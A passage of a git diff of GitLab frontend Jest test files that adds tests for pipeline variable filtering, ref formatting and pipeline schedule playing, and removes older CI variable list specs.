+++ b/spec/frontend/ci/pipeline_new/utils/filter_variables_spec.js
@@ -0,0 +1,21 @@
+import filterVariables from '~/ci/pipeline_new/utils/filter_variables';
+import { mockVariables } from '../mock_data';
+
+describe('Filter variables utility function', () => {
+ it('filters variables that do not contain a key', () => {
+ const expectedVaraibles = [
+ {
+ variable_type: 'env_var',
+ key: 'var_without_value',
+ secret_value: '',
+ },
+ {
+ variable_type: 'env_var',
+ key: 'var_with_value',
+ secret_value: 'test_value',
+ },
+ ];
+
+ expect(filterVariables(mockVariables)).toEqual(expectedVaraibles);
+ });
+});
diff --git a/spec/frontend/ci/pipeline_new/utils/format_refs_spec.js b/spec/frontend/ci/pipeline_new/utils/format_refs_spec.js
new file mode 100644
index 00000000000..137a9339649
--- /dev/null
+++ b/spec/frontend/ci/pipeline_new/utils/format_refs_spec.js
@@ -0,0 +1,82 @@
+import { BRANCH_REF_TYPE, TAG_REF_TYPE } from '~/ci/pipeline_new/constants';
+import {
+ formatRefs,
+ formatListBoxItems,
+ searchByFullNameInListboxOptions,
+} from '~/ci/pipeline_new/utils/format_refs';
+import { mockBranchRefs, mockTagRefs } from '../mock_data';
+
+describe('Format refs util', () => {
+ it('formats branch ref correctly', () => {
+ expect(formatRefs(mockBranchRefs, BRANCH_REF_TYPE)).toEqual([
+ { fullName: 'refs/heads/main', shortName: 'main' },
+ { fullName: 'refs/heads/dev', shortName: 'dev' },
+ { fullName: 'refs/heads/release', shortName: 'release' },
+ ]);
+ });
+
+ it('formats tag ref correctly', () => {
+ expect(formatRefs(mockTagRefs, TAG_REF_TYPE)).toEqual([
+ { fullName: 'refs/tags/1.0.0', shortName: '1.0.0' },
+ { fullName: 'refs/tags/1.1.0', shortName: '1.1.0' },
+ { fullName: 'refs/tags/1.2.0', shortName: '1.2.0' },
+ ]);
+ });
+});
+
+describe('formatListBoxItems', () => {
+ it('formats branches and tags to listbox items correctly', () => {
+ expect(formatListBoxItems(mockBranchRefs, mockTagRefs)).toEqual([
+ {
+ text: 'Branches',
+ options: [
+ { value: 'refs/heads/main', text: 'main' },
+ { value: 'refs/heads/dev', text: 'dev' },
+ { value: 'refs/heads/release', text: 'release' },
+ ],
+ },
+ {
+ text: 'Tags',
+ options: [
+ { value: 'refs/tags/1.0.0', text: '1.0.0' },
+ { value: 'refs/tags/1.1.0', text: '1.1.0' },
+ { value: 'refs/tags/1.2.0', text: '1.2.0' },
+ ],
+ },
+ ]);
+
+ expect(formatListBoxItems(mockBranchRefs, [])).toEqual([
+ {
+ text: 'Branches',
+ options: [
+ { value: 'refs/heads/main', text: 'main' },
+ { value: 'refs/heads/dev', text: 'dev' },
+ { value: 'refs/heads/release', text: 'release' },
+ ],
+ },
+ ]);
+
+ expect(formatListBoxItems([], mockTagRefs)).toEqual([
+ {
+ text: 'Tags',
+ options: [
+ { value: 'refs/tags/1.0.0', text: '1.0.0' },
+ { value: 'refs/tags/1.1.0', text: '1.1.0' },
+ { value: 'refs/tags/1.2.0', text: '1.2.0' },
+ ],
+ },
+ ]);
+ });
+});
+
+describe('searchByFullNameInListboxOptions', () => {
+ const listbox = formatListBoxItems(mockBranchRefs, mockTagRefs);
+
+ it.each`
+ fullName | expectedResult
+ ${'refs/heads/main'} | ${{ fullName: 'refs/heads/main', shortName: 'main' }}
+ ${'refs/tags/1.0.0'} | ${{ fullName: 'refs/tags/1.0.0', shortName: '1.0.0' }}
+ `('should search item in listbox correctly', ({ fullName, expectedResult }) => {
+ expect(searchByFullNameInListboxOptions(fullName, listbox)).toEqual(expectedResult);
+ });
+});
diff --git a/spec/frontend/ci/pipeline_schedules/components/pipeline_schedules_spec.js b/spec/frontend/ci/pipeline_schedules/components/pipeline_schedules_spec.js
index 4aa4cdf89a1..611993556e3 100644
--- a/spec/frontend/ci/pipeline_schedules/components/pipeline_schedules_spec.js
+++ b/spec/frontend/ci/pipeline_schedules/components/pipeline_schedules_spec.js
@@ -1,4 +1,4 @@
-import { GlAlert, GlLoadingIcon, GlTabs } from '@gitlab/ui';
+import { GlAlert, GlEmptyState, GlLink, GlLoadingIcon, GlTabs } from '@gitlab/ui';
import Vue, { nextTick } from 'vue';
import VueApollo from 'vue-apollo';
import { trimText } from 'helpers/text_helper';
@@ -10,13 +10,16 @@ import DeletePipelineScheduleModal from '~/ci/pipeline_schedules/components/dele
import TakeOwnershipModal from '~/ci/pipeline_schedules/components/take_ownership_modal.vue';
import PipelineSchedulesTable from '~/ci/pipeline_schedules/components/table/pipeline_schedules_table.vue';
import deletePipelineScheduleMutation from '~/ci/pipeline_schedules/graphql/mutations/delete_pipeline_schedule.mutation.graphql';
+import playPipelineScheduleMutation from '~/ci/pipeline_schedules/graphql/mutations/play_pipeline_schedule.mutation.graphql';
import takeOwnershipMutation from '~/ci/pipeline_schedules/graphql/mutations/take_ownership.mutation.graphql';
import getPipelineSchedulesQuery from '~/ci/pipeline_schedules/graphql/queries/get_pipeline_schedules.query.graphql';
import {
mockGetPipelineSchedulesGraphQLResponse,
mockPipelineScheduleNodes,
deleteMutationResponse,
+ playMutationResponse,
takeOwnershipMutationResponse,
+ emptyPipelineSchedulesResponse,
} from '../mock_data';
Vue.use(VueApollo);
@@ -29,10 +32,13 @@ describe('Pipeline schedules app', () => {
let wrapper;
const successHandler = jest.fn().mockResolvedValue(mockGetPipelineSchedulesGraphQLResponse);
+ const successEmptyHandler = jest.fn().mockResolvedValue(emptyPipelineSchedulesResponse);
const failedHandler = jest.fn().mockRejectedValue(new Error('GraphQL error'));
const deleteMutationHandlerSuccess = jest.fn().mockResolvedValue(deleteMutationResponse);
const deleteMutationHandlerFailed = jest.fn().mockRejectedValue(new Error('GraphQL error'));
+ const playMutationHandlerSuccess = jest.fn().mockResolvedValue(playMutationResponse);
+ const playMutationHandlerFailed = jest.fn().mockRejectedValue(new Error('GraphQL error'));
const takeOwnershipMutationHandlerSuccess = jest
.fn()
.mockResolvedValue(takeOwnershipMutationResponse);
@@ -60,14 +66,18 @@ describe('Pipeline schedules app', () => {
const findTable = () => wrapper.findComponent(PipelineSchedulesTable);
const findAlert = () => wrapper.findComponent(GlAlert);
- const findLoadingIcon = () => wrapper.findComponent(GlLoadingIcon);
const findDeleteModal = () => wrapper.findComponent(DeletePipelineScheduleModal);
+ const findLoadingIcon = () => wrapper.findComponent(GlLoadingIcon);
const findTakeOwnershipModal = () => wrapper.findComponent(TakeOwnershipModal);
const findTabs = () => wrapper.findComponent(GlTabs);
+ const findEmptyState = () => wrapper.findComponent(GlEmptyState);
+ const findLink = () => wrapper.findComponent(GlLink);
const findNewButton = () => wrapper.findByTestId('new-schedule-button');
const findAllTab = () => wrapper.findByTestId('pipeline-schedules-all-tab');
const findActiveTab = () => wrapper.findByTestId('pipeline-schedules-active-tab');
const findInactiveTab = () => wrapper.findByTestId('pipeline-schedules-inactive-tab');
+ const findSchedulesCharacteristics = () =>
+ wrapper.findByTestId('pipeline-schedules-characteristics');
afterEach(() => {
wrapper.destroy();
@@ -181,6 +191,45 @@ describe('Pipeline schedules app', () => {
});
});
+ describe('playing a pipeline schedule', () => {
+ it('shows play mutation error alert', async () => {
+ createComponent([
+ [getPipelineSchedulesQuery, successHandler],
+ [playPipelineScheduleMutation, playMutationHandlerFailed],
+ ]);
+
+ await waitForPromises();
+
+ findTable().vm.$emit('playPipelineSchedule');
+
+ await waitForPromises();
+
+ expect(findAlert().text()).toBe('There was a problem playing the pipeline schedule.');
+ });
+
+ it('plays pipeline schedule', async () => {
+ createComponent([
+ [getPipelineSchedulesQuery, successHandler],
+ [playPipelineScheduleMutation, playMutationHandlerSuccess],
+ ]);
+
+ await waitForPromises();
+
+ const scheduleId = mockPipelineScheduleNodes[0].id;
+
+ findTable().vm.$emit('playPipelineSchedule', scheduleId);
+
+ await waitForPromises();
+
+ expect(playMutationHandlerSuccess).toHaveBeenCalledWith({
+ id: scheduleId,
+ });
+ expect(findAlert().text()).toBe(
+ 'Successfully scheduled a pipeline to run. Go to the Pipelines page for details.',
+ );
+ });
+ });
+
describe('taking ownership of a pipeline schedule', () => {
it('shows take ownership mutation error alert', async () => {
createComponent([
@@ -277,4 +326,24 @@ describe('Pipeline schedules app', () => {
expect(wrapper.vm.$apollo.queries.schedules.refetch).toHaveBeenCalledTimes(1);
});
});
+
+ describe('Empty pipeline schedules response', () => {
+ it('should show an empty state', async () => {
+ createComponent([[getPipelineSchedulesQuery, successEmptyHandler]]);
+
+ await waitForPromises();
+
+ const schedulesCharacteristics = findSchedulesCharacteristics();
+
+ expect(findEmptyState().exists()).toBe(true);
+ expect(schedulesCharacteristics.text()).toContain('Runs for a specific branch or tag.');
+ expect(schedulesCharacteristics.text()).toContain('Can have custom CI/CD variables.');
+ expect(schedulesCharacteristics.text()).toContain(
+ 'Runs with the same project permissions as the schedule owner.',
+ );
+
+ expect(findLink().exists()).toBe(true);
+ expect(findLink().text()).toContain('scheduled pipelines documentation.');
+ });
+ });
});
diff --git a/spec/frontend/ci/pipeline_schedules/components/table/cells/pipeline_schedule_actions_spec.js b/spec/frontend/ci/pipeline_schedules/components/table/cells/pipeline_schedule_actions_spec.js
index 3364c61d155..6fb6a8bc33b 100644
--- a/spec/frontend/ci/pipeline_schedules/components/table/cells/pipeline_schedule_actions_spec.js
+++ b/spec/frontend/ci/pipeline_schedules/components/table/cells/pipeline_schedule_actions_spec.js
@@ -25,6 +25,7 @@ describe('Pipeline schedule actions', () => {
const findAllButtons = () => wrapper.findAllComponents(GlButton);
const findDeleteBtn = () => wrapper.findByTestId('delete-pipeline-schedule-btn');
const findTakeOwnershipBtn = () => wrapper.findByTestId('take-ownership-pipeline-schedule-btn');
+ const findPlayScheduleBtn = () => wrapper.findByTestId('play-pipeline-schedule-btn');
afterEach(() => {
wrapper.destroy();
@@ -61,4 +62,14 @@ describe('Pipeline schedule actions', () => {
showTakeOwnershipModal: [[mockTakeOwnershipNodes[0].id]],
});
});
+
+ it('play button emits playPipelineSchedule event and schedule id', () => {
+ createComponent();
+
+ findPlayScheduleBtn().vm.$emit('click');
+
+ expect(wrapper.emitted()).toEqual({
+ playPipelineSchedule: [[mockPipelineScheduleNodes[0].id]],
+ });
+ });
});
diff --git a/spec/frontend/ci/pipeline_schedules/components/table/cells/pipeline_schedule_last_pipeline_spec.js b/spec/frontend/ci/pipeline_schedules/components/table/cells/pipeline_schedule_last_pipeline_spec.js
index 17bf465baf3..0821c59c8a0 100644
--- a/spec/frontend/ci/pipeline_schedules/components/table/cells/pipeline_schedule_last_pipeline_spec.js
+++ b/spec/frontend/ci/pipeline_schedules/components/table/cells/pipeline_schedule_last_pipeline_spec.js
@@ -1,5 +1,5 @@
import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
-import CiBadge from '~/vue_shared/components/ci_badge_link.vue';
+import CiBadgeLink from '~/vue_shared/components/ci_badge_link.vue';
import PipelineScheduleLastPipeline from '~/ci/pipeline_schedules/components/table/cells/pipeline_schedule_last_pipeline.vue';
import { mockPipelineScheduleNodes } from '../../../mock_data';
@@ -18,7 +18,7 @@ describe('Pipeline schedule last pipeline', () => {
});
};
- const findCIBadge = () => wrapper.findComponent(CiBadge);
+ const findCIBadgeLink = () => wrapper.findComponent(CiBadgeLink);
const findStatusText = () => wrapper.findByTestId('pipeline-schedule-status-text');
afterEach(() => {
@@ -28,8 +28,10 @@ describe('Pipeline schedule last pipeline', () => {
it('displays pipeline status', () => {
createComponent();
- expect(findCIBadge().exists()).toBe(true);
- expect(findCIBadge().props('status')).toBe(defaultProps.schedule.lastPipeline.detailedStatus);
+ expect(findCIBadgeLink().exists()).toBe(true);
+ expect(findCIBadgeLink().props('status')).toBe(
+ defaultProps.schedule.lastPipeline.detailedStatus,
+ );
expect(findStatusText().exists()).toBe(false);
});
@@ -37,6 +39,6 @@ describe('Pipeline schedule last pipeline', () => {
createComponent({ schedule: mockPipelineScheduleNodes[0] });
expect(findStatusText().text()).toBe('None');
- expect(findCIBadge().exists()).toBe(false);
+ expect(findCIBadgeLink().exists()).toBe(false);
});
});
diff --git a/spec/frontend/ci/pipeline_schedules/mock_data.js b/spec/frontend/ci/pipeline_schedules/mock_data.js
index 3010f1d06c3..2826c054249 100644
--- a/spec/frontend/ci/pipeline_schedules/mock_data.js
+++ b/spec/frontend/ci/pipeline_schedules/mock_data.js
@@ -32,6 +32,14 @@ export const mockPipelineScheduleNodes = nodes;
export const mockPipelineScheduleAsGuestNodes = guestNodes;
export const mockTakeOwnershipNodes = takeOwnershipNodes;
+export const emptyPipelineSchedulesResponse = {
+ data: {
+ project: {
+ id: 'gid://gitlab/Project/1',
+ pipelineSchedules: { nodes: [], count: 0 },
+ },
+ },
+};
export const deleteMutationResponse = {
data: {
@@ -43,6 +51,16 @@ export const deleteMutationResponse = {
},
};
+export const playMutationResponse = {
+ data: {
+ pipelineSchedulePlay: {
+ clientMutationId: null,
+ errors: [],
+ __typename: 'PipelineSchedulePlayPayload',
+ },
+ },
+};
+
export const takeOwnershipMutationResponse = {
data: {
pipelineScheduleTakeOwnership: {
diff --git a/spec/frontend/ci/runner/components/registration/registration_dropdown_spec.js b/spec/frontend/ci/runner/components/registration/registration_dropdown_spec.js
index cb46c668930..0ecafdd7d83 100644
--- a/spec/frontend/ci/runner/components/registration/registration_dropdown_spec.js
+++ b/spec/frontend/ci/runner/components/registration/registration_dropdown_spec.js
@@ -13,12 +13,12 @@ import RegistrationTokenResetDropdownItem from '~/ci/runner/components/registrat
import { INSTANCE_TYPE, GROUP_TYPE, PROJECT_TYPE } from '~/ci/runner/constants';
-import getRunnerPlatformsQuery from '~/vue_shared/components/runner_instructions/graphql/queries/get_runner_platforms.query.graphql';
-import getRunnerSetupInstructionsQuery from '~/vue_shared/components/runner_instructions/graphql/queries/get_runner_setup.query.graphql';
+import getRunnerPlatformsQuery from '~/vue_shared/components/runner_instructions/graphql/get_runner_platforms.query.graphql';
+import getRunnerSetupInstructionsQuery from '~/vue_shared/components/runner_instructions/graphql/get_runner_setup.query.graphql';
import {
- mockGraphqlRunnerPlatforms,
- mockGraphqlInstructions,
+ mockRunnerPlatforms,
+ mockInstructions,
} from 'jest/vue_shared/components/runner_instructions/mock_data';
const mockToken = '0123456789';
@@ -67,8 +67,8 @@ describe('RegistrationDropdown', () => {
const createComponentWithModal = () => {
const requestHandlers = [
- [getRunnerPlatformsQuery, jest.fn().mockResolvedValue(mockGraphqlRunnerPlatforms)],
- [getRunnerSetupInstructionsQuery, jest.fn().mockResolvedValue(mockGraphqlInstructions)],
+ [getRunnerPlatformsQuery, jest.fn().mockResolvedValue(mockRunnerPlatforms)],
+ [getRunnerSetupInstructionsQuery, jest.fn().mockResolvedValue(mockInstructions)],
];
createComponent(
diff --git a/spec/frontend/ci_variable_list/ci_variable_list/ci_variable_list_spec.js b/spec/frontend/ci_variable_list/ci_variable_list/ci_variable_list_spec.js
deleted file mode 100644
index 2210b0f48d6..00000000000
--- a/spec/frontend/ci_variable_list/ci_variable_list/ci_variable_list_spec.js
+++ /dev/null
@@ -1,159 +0,0 @@
-import $ from 'jquery';
-import { loadHTMLFixture, resetHTMLFixture } from 'helpers/fixtures';
-import VariableList from '~/ci_variable_list/ci_variable_list';
-
-const HIDE_CLASS = 'hide';
-
-describe('VariableList', () => {
- let $wrapper;
- let variableList;
-
- describe('with only key/value inputs', () => {
- describe('with no variables', () => {
- beforeEach(() => {
- loadHTMLFixture('pipeline_schedules/edit.html');
- $wrapper = $('.js-ci-variable-list-section');
-
- variableList = new VariableList({
- container: $wrapper,
- formField: 'schedule',
- });
- variableList.init();
- });
-
- afterEach(() => {
- resetHTMLFixture();
- });
-
- it('should remove the row when clicking the remove button', () => {
- $wrapper.find('.js-row-remove-button').trigger('click');
-
- expect($wrapper.find('.js-row').length).toBe(0);
- });
-
- it('should add another row when editing the last rows key input', () => {
- const $row = $wrapper.find('.js-row');
- $row.find('.js-ci-variable-input-key').val('foo').trigger('input');
-
- expect($wrapper.find('.js-row').length).toBe(2);
-
- // Check for the correct default in the new row
- const $keyInput = $wrapper.find('.js-row:last-child').find('.js-ci-variable-input-key');
-
- expect($keyInput.val()).toBe('');
- });
-
- it('should add another row when editing the last rows value textarea', () => {
- const $row = $wrapper.find('.js-row');
- $row.find('.js-ci-variable-input-value').val('foo').trigger('input');
-
- expect($wrapper.find('.js-row').length).toBe(2);
-
- // Check for the correct default in the new row
- const $valueInput = $wrapper.find('.js-row:last-child').find('.js-ci-variable-input-key');
-
- expect($valueInput.val()).toBe('');
- });
-
- it('should remove empty row after blurring', () => {
- const $row = $wrapper.find('.js-row');
- $row.find('.js-ci-variable-input-key').val('foo').trigger('input');
-
- expect($wrapper.find('.js-row').length).toBe(2);
-
- $row.find('.js-ci-variable-input-key').val('').trigger('input').trigger('blur');
-
- expect($wrapper.find('.js-row').length).toBe(1);
- });
- });
-
- describe('with persisted variables', () => {
- beforeEach(() => {
- loadHTMLFixture('pipeline_schedules/edit_with_variables.html');
- $wrapper = $('.js-ci-variable-list-section');
-
- variableList = new VariableList({
- container: $wrapper,
- formField: 'schedule',
- });
- variableList.init();
- });
-
- afterEach(() => {
- resetHTMLFixture();
- });
-
- it('should have "Reveal values" button initially when there are already variables', () => {
- expect($wrapper.find('.js-secret-value-reveal-button').text()).toBe('Reveal values');
- });
-
- it('should reveal hidden values', () => {
- const $row = $wrapper.find('.js-row:first-child');
- const $inputValue = $row.find('.js-ci-variable-input-value');
- const $placeholder = $row.find('.js-secret-value-placeholder');
-
- expect($placeholder.hasClass(HIDE_CLASS)).toBe(false);
- expect($inputValue.hasClass(HIDE_CLASS)).toBe(true);
-
- // Reveal values
- $wrapper.find('.js-secret-value-reveal-button').click();
-
- expect($placeholder.hasClass(HIDE_CLASS)).toBe(true);
- expect($inputValue.hasClass(HIDE_CLASS)).toBe(false);
- });
- });
- });
-
- describe('toggleEnableRow method', () => {
- beforeEach(() => {
- loadHTMLFixture('pipeline_schedules/edit_with_variables.html');
- $wrapper = $('.js-ci-variable-list-section');
-
- variableList = new VariableList({
- container: $wrapper,
- formField: 'variables',
- });
- variableList.init();
- });
-
- afterEach(() => {
- resetHTMLFixture();
- });
-
- it('should disable all key inputs', () => {
- expect($wrapper.find('.js-ci-variable-input-key:not([disabled])').length).toBe(3);
-
- variableList.toggleEnableRow(false);
-
- expect($wrapper.find('.js-ci-variable-input-key[disabled]').length).toBe(3);
- });
-
- it('should disable all remove buttons', () => {
- expect($wrapper.find('.js-row-remove-button:not([disabled])').length).toBe(3);
-
- variableList.toggleEnableRow(false);
-
- expect($wrapper.find('.js-row-remove-button[disabled]').length).toBe(3);
- });
-
- it('should enable all remove buttons', () => {
- variableList.toggleEnableRow(false);
-
- expect($wrapper.find('.js-row-remove-button[disabled]').length).toBe(3);
-
- variableList.toggleEnableRow(true);
-
- expect($wrapper.find('.js-row-remove-button:not([disabled])').length).toBe(3);
- });
-
- it('should enable all key inputs', () => {
- variableList.toggleEnableRow(false);
-
- expect($wrapper.find('.js-ci-variable-input-key[disabled]').length).toBe(3);
-
- variableList.toggleEnableRow(true);
-
- expect($wrapper.find('.js-ci-variable-input-key:not([disabled])').length).toBe(3);
- });
- });
-});
diff --git a/spec/frontend/ci_variable_list/ci_variable_list/native_form_variable_list_spec.js b/spec/frontend/ci_variable_list/ci_variable_list/native_form_variable_list_spec.js
deleted file mode 100644
index 57f666e29d6..00000000000
--- a/spec/frontend/ci_variable_list/ci_variable_list/native_form_variable_list_spec.js
+++ /dev/null
@@ -1,40 +0,0 @@
-import $ from 'jquery';
-import { loadHTMLFixture, resetHTMLFixture } from 'helpers/fixtures';
-import setupNativeFormVariableList from '~/ci_variable_list/native_form_variable_list';
-
-describe('NativeFormVariableList', () => {
- let $wrapper;
-
- beforeEach(() => {
- loadHTMLFixture('pipeline_schedules/edit.html');
- $wrapper = $('.js-ci-variable-list-section');
-
- setupNativeFormVariableList({
- container: $wrapper,
- formField: 'schedule',
- });
- });
-
- afterEach(() => {
- resetHTMLFixture();
- });
-
- describe('onFormSubmit', () => {
- it('should clear out the `name` attribute on the inputs for the last empty row on form submission (avoid BE validation)', () => {
- const $row = $wrapper.find('.js-row');
-
- expect($row.find('.js-ci-variable-input-key').attr('name')).toBe(
- 'schedule[variables_attributes][][key]',
- );
-
- expect($row.find('.js-ci-variable-input-value').attr('name')).toBe(
- 'schedule[variables_attributes][][secret_value]',
- );
-
- $wrapper.closest('form').trigger('trigger-submit');
-
- expect($row.find('.js-ci-variable-input-key').attr('name')).toBe('');
- expect($row.find('.js-ci-variable-input-value').attr('name')).toBe('');
- });
- });
-});
diff --git a/spec/frontend/ci_variable_list/components/ci_admin_variables_spec.js b/spec/frontend/ci_variable_list/components/ci_admin_variables_spec.js
deleted file mode 100644
index aa83638773d..00000000000
--- a/spec/frontend/ci_variable_list/components/ci_admin_variables_spec.js
+++ /dev/null
@@ -1,36 +0,0 @@
-import { shallowMount } from '@vue/test-utils';
-
-import ciAdminVariables from '~/ci_variable_list/components/ci_admin_variables.vue';
-import ciVariableShared from '~/ci_variable_list/components/ci_variable_shared.vue';
-
-describe('Ci Project Variable wrapper', () => {
- let wrapper;
-
- const findCiShared = () => wrapper.findComponent(ciVariableShared);
-
- const createComponent = () => {
- wrapper = shallowMount(ciAdminVariables);
- };
-
- beforeEach(() => {
- createComponent();
- });
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- it('Passes down the correct props to ci_variable_shared', () => {
- expect(findCiShared().props()).toEqual({
- areScopedVariablesAvailable: false,
- componentName: 'InstanceVariables',
- entity: '',
- hideEnvironmentScope: true,
- mutationData: wrapper.vm.$options.mutationData,
- queryData: wrapper.vm.$options.queryData,
- refetchAfterMutation: true,
- fullPath: null,
- id: null,
- });
- });
-});
diff --git a/spec/frontend/ci_variable_list/components/ci_environments_dropdown_spec.js b/spec/frontend/ci_variable_list/components/ci_environments_dropdown_spec.js
deleted file mode 100644
index e9966576cab..00000000000
--- a/spec/frontend/ci_variable_list/components/ci_environments_dropdown_spec.js
+++ /dev/null
@@ -1,139 +0,0 @@
-import { GlDropdown, GlDropdownItem, GlIcon, GlSearchBoxByType } from '@gitlab/ui';
-import { mount } from '@vue/test-utils';
-import { nextTick } from 'vue';
-import { allEnvironments } from '~/ci_variable_list/constants';
-import CiEnvironmentsDropdown from '~/ci_variable_list/components/ci_environments_dropdown.vue';
-
-describe('Ci environments dropdown', () => {
- let wrapper;
-
- const envs = ['dev', 'prod', 'staging'];
- const defaultProps = { environments: envs, selectedEnvironmentScope: '' };
-
- const findDropdownText = () => wrapper.findComponent(GlDropdown).text();
- const findAllDropdownItems = () => wrapper.findAllComponents(GlDropdownItem);
- const findDropdownItemByIndex = (index) => wrapper.findAllComponents(GlDropdownItem).at(index);
- const findActiveIconByIndex = (index) => findDropdownItemByIndex(index).findComponent(GlIcon);
- const findSearchBox = () => wrapper.findComponent(GlSearchBoxByType);
-
- const createComponent = ({ props = {}, searchTerm = '' } = {}) => {
- wrapper = mount(CiEnvironmentsDropdown, {
- propsData: {
- ...defaultProps,
- ...props,
- },
- });
-
- findSearchBox().vm.$emit('input', searchTerm);
- };
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- describe('No environments found', () => {
- beforeEach(() => {
- createComponent({ searchTerm: 'stable' });
- });
-
- it('renders create button with search term if environments do not contain search term', () => {
- expect(findAllDropdownItems()).toHaveLength(2);
- expect(findDropdownItemByIndex(1).text()).toBe('Create wildcard: stable');
- });
-
- it('renders empty results message', () => {
- expect(findDropdownItemByIndex(0).text()).toBe('No matching results');
- });
- });
-
- describe('Search term is empty', () => {
- beforeEach(() => {
- createComponent({ props: { environments: envs } });
- });
-
- it('renders all environments when search term is empty', () => {
- expect(findAllDropdownItems()).toHaveLength(3);
- expect(findDropdownItemByIndex(0).text()).toBe(envs[0]);
- expect(findDropdownItemByIndex(1).text()).toBe(envs[1]);
- expect(findDropdownItemByIndex(2).text()).toBe(envs[2]);
- });
-
- it('should not display active checkmark on the inactive stage', () => {
- expect(findActiveIconByIndex(0).classes('gl-visibility-hidden')).toBe(true);
- });
- });
-
- describe('when `*` is the value of selectedEnvironmentScope props', () => {
- const wildcardScope = '*';
-
- beforeEach(() => {
- createComponent({ props: { selectedEnvironmentScope: wildcardScope } });
- });
-
- it('shows the `All environments` text and not the wildcard', () => {
- expect(findDropdownText()).toContain(allEnvironments.text);
- expect(findDropdownText()).not.toContain(wildcardScope);
- });
- });
-
- describe('Environments found', () => {
- const currentEnv = envs[2];
-
- beforeEach(async () => {
- createComponent({ searchTerm: currentEnv });
- await nextTick();
- });
-
- it('renders only the environment searched for', () => {
- expect(findAllDropdownItems()).toHaveLength(1);
- expect(findDropdownItemByIndex(0).text()).toBe(currentEnv);
- });
-
- it('should not display create button', () => {
- const environments = findAllDropdownItems().filter((env) => env.text().startsWith('Create'));
- expect(environments).toHaveLength(0);
- expect(findAllDropdownItems()).toHaveLength(1);
- });
-
- it('should not display empty results message', () => {
- expect(wrapper.findComponent({ ref: 'noMatchingResults' }).exists()).toBe(false);
- });
-
- it('should clear the search term when showing the dropdown', () => {
- wrapper.findComponent(GlDropdown).trigger('click');
-
- expect(findSearchBox().text()).toBe('');
- });
-
- describe('Custom events', () => {
- describe('when clicking on an environment', () => {
- const itemIndex = 0;
-
- beforeEach(() => {
- createComponent();
- });
-
- it('should emit `select-environment` if an environment is clicked', async () => {
- await nextTick();
-
- await findDropdownItemByIndex(itemIndex).vm.$emit('click');
-
- expect(wrapper.emitted('select-environment')).toEqual([[envs[itemIndex]]]);
- });
- });
-
- describe('when creating a new environment from a search term', () => {
- const search = 'new-env';
- beforeEach(() => {
- createComponent({ searchTerm: search });
- });
-
- it('should emit createClicked if an environment is clicked', async () => {
- await nextTick();
- findDropdownItemByIndex(1).vm.$emit('click');
- expect(wrapper.emitted('create-environment-scope')).toEqual([[search]]);
- });
- });
- });
- });
-});
diff --git a/spec/frontend/ci_variable_list/components/ci_group_variables_spec.js b/spec/frontend/ci_variable_list/components/ci_group_variables_spec.js
deleted file mode 100644
index ef624d8e4b4..00000000000
--- a/spec/frontend/ci_variable_list/components/ci_group_variables_spec.js
+++ /dev/null
@@ -1,73 +0,0 @@
-import { shallowMount } from '@vue/test-utils';
-import { convertToGraphQLId } from '~/graphql_shared/utils';
-
-import ciGroupVariables from '~/ci_variable_list/components/ci_group_variables.vue';
-import ciVariableShared from '~/ci_variable_list/components/ci_variable_shared.vue';
-
-import { GRAPHQL_GROUP_TYPE } from '~/ci_variable_list/constants';
-
-const mockProvide = {
- glFeatures: {
- groupScopedCiVariables: false,
- },
- groupPath: '/group',
- groupId: 12,
-};
-
-describe('Ci Group Variable wrapper', () => {
- let wrapper;
-
- const findCiShared = () => wrapper.findComponent(ciVariableShared);
-
- const createComponent = ({ provide = {} } = {}) => {
- wrapper = shallowMount(ciGroupVariables, {
- provide: { ...mockProvide, ...provide },
- });
- };
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- describe('Props', () => {
- beforeEach(() => {
- createComponent();
- });
-
- it('are passed down the correctly to ci_variable_shared', () => {
- expect(findCiShared().props()).toEqual({
- id: convertToGraphQLId(GRAPHQL_GROUP_TYPE, mockProvide.groupId),
- areScopedVariablesAvailable: false,
- componentName: 'GroupVariables',
- entity: 'group',
- fullPath: mockProvide.groupPath,
- hideEnvironmentScope: false,
- mutationData: wrapper.vm.$options.mutationData,
- queryData: wrapper.vm.$options.queryData,
- refetchAfterMutation: false,
- });
- });
- });
-
- describe('feature flag', () => {
- describe('When enabled', () => {
- beforeEach(() => {
- createComponent({ provide: { glFeatures: { groupScopedCiVariables: true } } });
- });
-
- it('Passes down `true` to variable shared component', () => {
- expect(findCiShared().props('areScopedVariablesAvailable')).toBe(true);
- });
- });
-
- describe('When disabled', () => {
- beforeEach(() => {
- createComponent({ provide: { glFeatures: { groupScopedCiVariables: false } } });
- });
-
- it('Passes down `false` to variable shared component', () => {
- expect(findCiShared().props('areScopedVariablesAvailable')).toBe(false);
- });
- });
- });
-});
diff --git a/spec/frontend/ci_variable_list/components/ci_project_variables_spec.js b/spec/frontend/ci_variable_list/components/ci_project_variables_spec.js
deleted file mode 100644
index 53c25e430f2..00000000000
--- a/spec/frontend/ci_variable_list/components/ci_project_variables_spec.js
+++ /dev/null
@@ -1,46 +0,0 @@
-import { shallowMount } from '@vue/test-utils';
-import { convertToGraphQLId } from '~/graphql_shared/utils';
-
-import ciProjectVariables from '~/ci_variable_list/components/ci_project_variables.vue';
-import ciVariableShared from '~/ci_variable_list/components/ci_variable_shared.vue';
-
-import { GRAPHQL_PROJECT_TYPE } from '~/ci_variable_list/constants';
-
-const mockProvide = {
- projectFullPath: '/namespace/project',
- projectId: 1,
-};
-
-describe('Ci Project Variable wrapper', () => {
- let wrapper;
-
- const findCiShared = () => wrapper.findComponent(ciVariableShared);
-
- const createComponent = () => {
- wrapper = shallowMount(ciProjectVariables, {
- provide: mockProvide,
- });
- };
-
- beforeEach(() => {
- createComponent();
- });
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- it('Passes down the correct props to ci_variable_shared', () => {
- expect(findCiShared().props()).toEqual({
- id: convertToGraphQLId(GRAPHQL_PROJECT_TYPE, mockProvide.projectId),
- areScopedVariablesAvailable: true,
- componentName: 'ProjectVariables',
- entity: 'project',
- fullPath: mockProvide.projectFullPath,
- hideEnvironmentScope: false,
- mutationData: wrapper.vm.$options.mutationData,
- queryData: wrapper.vm.$options.queryData,
- refetchAfterMutation: false,
- });
- });
-});
diff --git a/spec/frontend/ci_variable_list/components/ci_variable_modal_spec.js b/spec/frontend/ci_variable_list/components/ci_variable_modal_spec.js
deleted file mode 100644
index d177e755591..00000000000
--- a/spec/frontend/ci_variable_list/components/ci_variable_modal_spec.js
+++ /dev/null
